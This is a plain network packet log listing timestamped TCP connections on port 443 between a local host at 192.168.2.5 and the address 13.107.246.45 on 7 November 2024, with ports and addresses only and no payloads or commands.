Nov 7, 2024 23:48:14.291011095 CET	50010	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.291022062 CET	443	50010	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.291385889 CET	50010	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.291389942 CET	443	50010	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.291624069 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.291635036 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.292239904 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.292243958 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.411346912 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.411371946 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.411418915 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.411453962 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.411541939 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.412794113 CET	443	50007	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.412846088 CET	443	50007	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.412895918 CET	50007	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.414407969 CET	443	50008	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.414818048 CET	443	50008	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.414880037 CET	50008	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.416239977 CET	443	50010	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.416481018 CET	443	50010	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.416527033 CET	50010	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.424786091 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.424817085 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.424854994 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.424896002 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.424935102 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.435679913 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.435697079 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.435731888 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.435739040 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.458784103 CET	50007	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.458805084 CET	443	50007	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.458894968 CET	50007	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.458900928 CET	443	50007	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.460815907 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.460825920 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.460834980 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.460839033 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.462826014 CET	50008	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.462841034 CET	443	50008	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.462851048 CET	50008	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.462857962 CET	443	50008	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.463798046 CET	50010	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.463804007 CET	443	50010	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.621361017 CET	50012	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.621404886 CET	443	50012	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.621465921 CET	50012	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.623166084 CET	50012	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.623181105 CET	443	50012	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.624177933 CET	50013	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.624221087 CET	443	50013	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.624284983 CET	50013	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.624475956 CET	50013	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.624488115 CET	443	50013	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.626044989 CET	50014	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.626055002 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.626183987 CET	50014	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.627995014 CET	50015	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.628005028 CET	443	50015	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.628106117 CET	50015	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.632157087 CET	50014	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.632169008 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.632417917 CET	50015	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.632428885 CET	443	50015	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.634444952 CET	50016	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.634475946 CET	443	50016	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.634664059 CET	50016	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.634969950 CET	50016	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.634983063 CET	443	50016	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.348160982 CET	443	50015	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.350079060 CET	50015	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.350102901 CET	443	50015	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.350723028 CET	50015	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.350729942 CET	443	50015	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.356129885 CET	443	50013	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.359118938 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.361917973 CET	50013	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.361938000 CET	443	50013	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.362010956 CET	50014	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.362032890 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.362494946 CET	50013	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.362500906 CET	443	50013	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.362649918 CET	50014	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.362656116 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.375668049 CET	443	50016	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.376032114 CET	50016	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.376060009 CET	443	50016	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.376406908 CET	50016	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.376411915 CET	443	50016	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.379678965 CET	443	50012	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.380243063 CET	50012	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.380259037 CET	443	50012	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.380726099 CET	50012	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.380729914 CET	443	50012	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.479017973 CET	443	50015	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.479068041 CET	443	50015	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.479132891 CET	50015	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.479301929 CET	50015	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.479324102 CET	443	50015	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.479337931 CET	50015	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.479342937 CET	443	50015	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.482386112 CET	50017	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.482429028 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.482486963 CET	50017	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.482867002 CET	50017	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.482883930 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.488806009 CET	443	50013	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.489145994 CET	443	50013	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.489217997 CET	50013	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.489331007 CET	50013	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.489346027 CET	443	50013	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.489357948 CET	50013	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.489362955 CET	443	50013	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.490272999 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.490294933 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.490324020 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.490360022 CET	50014	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.490392923 CET	50014	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.491055012 CET	50014	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.491055012 CET	50014	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.491070986 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.491077900 CET	443	50014	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.492640018 CET	50018	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.492666960 CET	443	50018	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.492955923 CET	50018	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.493139982 CET	50018	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.493150949 CET	443	50018	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.493947983 CET	50019	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.493958950 CET	443	50019	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.494015932 CET	50019	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.494235992 CET	50019	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.494247913 CET	443	50019	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.509385109 CET	443	50016	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.509778976 CET	443	50016	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.509829044 CET	50016	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.509855032 CET	50016	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.509864092 CET	443	50016	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.509871960 CET	50016	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.509876013 CET	443	50016	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.512273073 CET	50020	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.512296915 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.512439966 CET	50020	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.512662888 CET	50020	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.512672901 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.515230894 CET	443	50012	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.515294075 CET	443	50012	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.515424967 CET	50012	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.515748024 CET	50012	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.515753031 CET	443	50012	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.515763044 CET	50012	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.515767097 CET	443	50012	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.520704031 CET	50021	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.520730019 CET	443	50021	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:15.520920038 CET	50021	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.521236897 CET	50021	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:15.521253109 CET	443	50021	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.222882032 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.231930017 CET	50017	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.231954098 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.234905005 CET	443	50018	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.237162113 CET	50017	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.237168074 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.247165918 CET	50018	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.247191906 CET	443	50018	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.247795105 CET	50018	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.247801065 CET	443	50018	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.255630016 CET	443	50019	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.260049105 CET	50019	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.260065079 CET	443	50019	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.261836052 CET	50019	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.261841059 CET	443	50019	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.271524906 CET	443	50021	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.277092934 CET	50021	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.277112007 CET	443	50021	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.279174089 CET	50021	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.279181004 CET	443	50021	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.283123016 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.283745050 CET	50020	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.283759117 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.288945913 CET	50020	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.288958073 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.364428997 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.364753008 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.364804029 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.364836931 CET	50017	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.364882946 CET	50017	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.374640942 CET	443	50018	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.375657082 CET	443	50018	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.378774881 CET	50018	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.391904116 CET	443	50019	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.392127037 CET	443	50019	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.392220974 CET	50019	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.403911114 CET	443	50021	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.403961897 CET	443	50021	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.404035091 CET	50021	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.423407078 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.423420906 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.423453093 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.423496962 CET	50020	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.423527956 CET	50020	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.901448965 CET	50017	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.901470900 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.901587009 CET	50017	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.901592970 CET	443	50017	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.903331995 CET	50020	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.903342962 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.903367043 CET	50020	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.903373003 CET	443	50020	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.917083979 CET	50018	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.917098999 CET	443	50018	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.917109013 CET	50018	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.917114973 CET	443	50018	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.927963972 CET	50019	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.927973986 CET	443	50019	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.927992105 CET	50019	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.927995920 CET	443	50019	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.930026054 CET	50021	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.930039883 CET	443	50021	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.930052996 CET	50021	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.930059910 CET	443	50021	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.949858904 CET	50022	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.949876070 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.949981928 CET	50022	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.955719948 CET	50023	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.955739975 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.955801010 CET	50023	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.956615925 CET	50022	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.956626892 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.962930918 CET	50024	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.962950945 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.963041067 CET	50024	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.963262081 CET	50024	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.963274002 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.964941025 CET	50023	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.964955091 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.977416039 CET	50025	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.977440119 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.977492094 CET	50025	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.977735996 CET	50025	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.977749109 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.979412079 CET	50026	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.979422092 CET	443	50026	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:16.979507923 CET	50026	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.980413914 CET	50026	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:16.980422974 CET	443	50026	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.867011070 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.867449045 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.867480993 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.879966974 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.881344080 CET	50023	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.881362915 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.883707047 CET	50023	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.883712053 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.888114929 CET	50022	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.888128996 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.888636112 CET	50022	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.888641119 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.888822079 CET	50025	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.888851881 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.889430046 CET	50025	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.889435053 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.907692909 CET	50024	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.907711029 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.908461094 CET	50024	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.908466101 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.918694973 CET	443	50026	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.919049025 CET	50026	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.919055939 CET	443	50026	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:17.919416904 CET	50026	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:17.919421911 CET	443	50026	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.009573936 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.009592056 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.009640932 CET	50023	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.009654999 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.009696007 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.009764910 CET	50023	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.009919882 CET	50023	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.009933949 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.009948015 CET	50023	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.009953976 CET	443	50023	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.013341904 CET	50027	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.013377905 CET	443	50027	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.013451099 CET	50027	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.013643026 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.013645887 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.013662100 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.013669014 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.013719082 CET	50025	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.013731003 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.013737917 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.013746023 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.013767004 CET	50022	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.013808966 CET	50022	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.013885975 CET	50025	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.013885975 CET	50027	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.013921022 CET	443	50027	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.014262915 CET	50022	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.014276981 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.014292955 CET	50022	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.014297962 CET	443	50022	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.014364958 CET	50025	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.014377117 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.014386892 CET	50025	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.014390945 CET	443	50025	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.017735004 CET	50028	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.017769098 CET	443	50028	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.017781019 CET	50029	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.017808914 CET	443	50029	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.017822027 CET	50028	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.017927885 CET	50029	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.017983913 CET	50028	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.017997026 CET	443	50028	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.018096924 CET	50029	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.018110037 CET	443	50029	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.038537979 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.038554907 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.038599014 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.038625956 CET	50024	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.038651943 CET	50024	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.038780928 CET	50024	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.038793087 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.038830042 CET	50024	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.038836002 CET	443	50024	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.041702032 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.041718960 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.041769028 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.041932106 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.041944027 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.053616047 CET	443	50026	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.053754091 CET	443	50026	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.053800106 CET	50026	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.054002047 CET	50026	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.054007053 CET	443	50026	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.054095030 CET	50026	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.054099083 CET	443	50026	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.057220936 CET	50031	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.057234049 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.057297945 CET	50031	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.057609081 CET	50031	443	192.168.2.5	13.107.246.45
